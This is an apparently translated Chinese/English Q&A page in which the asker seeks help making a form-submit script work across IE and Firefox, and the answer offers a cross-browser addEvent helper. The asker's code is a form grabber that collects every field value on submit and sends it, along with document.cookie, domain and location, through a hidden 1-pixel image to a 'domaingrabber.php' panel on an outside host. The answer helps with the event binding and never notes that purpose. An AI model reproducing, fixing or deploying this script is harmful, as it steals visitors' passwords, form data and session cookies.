问题描述
所以我有2套js一个附加事件和一个addEventListener附加事件在IE 8中完美地工作如预期和addEventListener for IE 9.如果我在jsfiddle上的firefox上使用addEventListener似乎工作正常没有问题在Firefox中,但是一旦我部署它并尝试按预期使用它它根本不起作用任何输入都会很棒..
IE 8
So i've got 2 sets of js one with attach event and one with addEventListener attach event works perfectly in IE 8 as expected and addEventListener for IE 9. if i use addEventListener on firefox in jsfiddle it seems to work fine no issues in firefox but as soon as i deploy it and try to use it as intended it just doesn't work at all any input would be great..IE 8
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].attachEvent('onsubmit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "URL"+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
IE 10
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].addEventListener('submit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
任何想法都会很棒,这是愚蠢的东西,但我今天想不起来
any ideas would be great, it's properly something stupid but i just can't think today
推荐答案
将它们合并到一起一个可以检测正确方法的通用函数:
Combine them into a general function that can detect the correct way:
function addEvent(element, eventName, callback) {
if (element.addEventListener) {
element.addEventListener(eventName, callback, false);
} else if (element.attachEvent) {
element.attachEvent("on" + eventName, callback);
}
}
然后使用它:
addEvent(document.getElementById("some_id"), "click", function () {
// Your click handler for that element
});
这样,绑定事件的代码不需要弄清楚要使用哪些代码只要您调用 addEvent
,就可以在每个浏览器中工作。
That way, your code that binds the event doesn't need to figure out which to use and can work in every browser as long as you call addEvent
.
这篇关于Firefox attachEvent和addEventListener都存在问题的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!